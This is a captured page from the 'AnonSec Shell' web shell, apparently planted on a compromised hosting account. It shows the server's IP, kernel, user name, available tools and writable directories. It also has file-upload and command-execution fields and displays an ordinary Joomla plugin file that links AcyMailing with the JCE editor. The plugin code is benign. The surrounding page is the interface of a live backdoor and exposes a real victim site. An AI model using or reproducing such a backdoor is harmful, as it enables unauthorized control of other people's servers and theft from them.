AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/vesoul/plugins/system/jceacym/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/vesoul/plugins/system/jceacym/jceacym.php
<?php

use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Factory;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\PluginHelper;

defined('_JEXEC') or die('Restricted access');

class plgSystemJceacym extends CMSPlugin
{
    public function onBeforeWfEditorRender(&$settings)
    {
        if (empty($_REQUEST['option']) || $_REQUEST['option'] !== 'com_acym') {
            return;
        }

        // We're in a newsletter context, no other CSS file should be applied.
        if (!empty(acym_getVar('string', 'acycssfile', ''))) {
            $settings['content_css'] = acym_getVar('string', 'acycssfile', '');
        }
    }

    public function onAfterInitialise()
    {
        $app = Factory::getApplication();
        if ($app->input->getCmd('option') !== 'com_media') return;
        if (!$app->input->getWord('asset') || $app->input->getWord('tmpl') !== 'component') return;
        if (!$this->isEditorEnabled()) return;

        $params = ComponentHelper::getParams('com_jce');
        if (!empty($params) && (bool)$params->get('replace_media_manager', 1) === true) {
            // Prevent JCE redirection
            if ($app->input->getCmd('author') === 'acymailing') {
                $sessionID = session_id();
                if (empty($sessionID)) @session_start();
                $_SESSION['acyJCERedirectionPrevented'] = true;

                $params->set('replace_media_manager', 0);
            }
        }
    }

    public function onAfterRender()
    {
        $sessionID = session_id();
        if (empty($sessionID)) @session_start();
        if (empty($_SESSION['acyJCERedirectionPrevented'])) return;

        unset($_SESSION['acyJCERedirectionPrevented']);

        $params = ComponentHelper::getParams('com_jce');
        if (!empty($params)) {
            // Re-set the JCE option value
            $params->set('replace_media_manager', 1);
        }
    }

    private function isEditorEnabled()
    {
        if (!PluginHelper::getPlugin('editors', 'jce')) {
            return false;
        }

        $config = Factory::getConfig();
        $user = Factory::getUser();

        if ($user->getParam('editor', $config->get('editor')) !== 'jce') {
            return false;
        }

        return true;
    }
}

Anon7 - 2022
AnonSec Team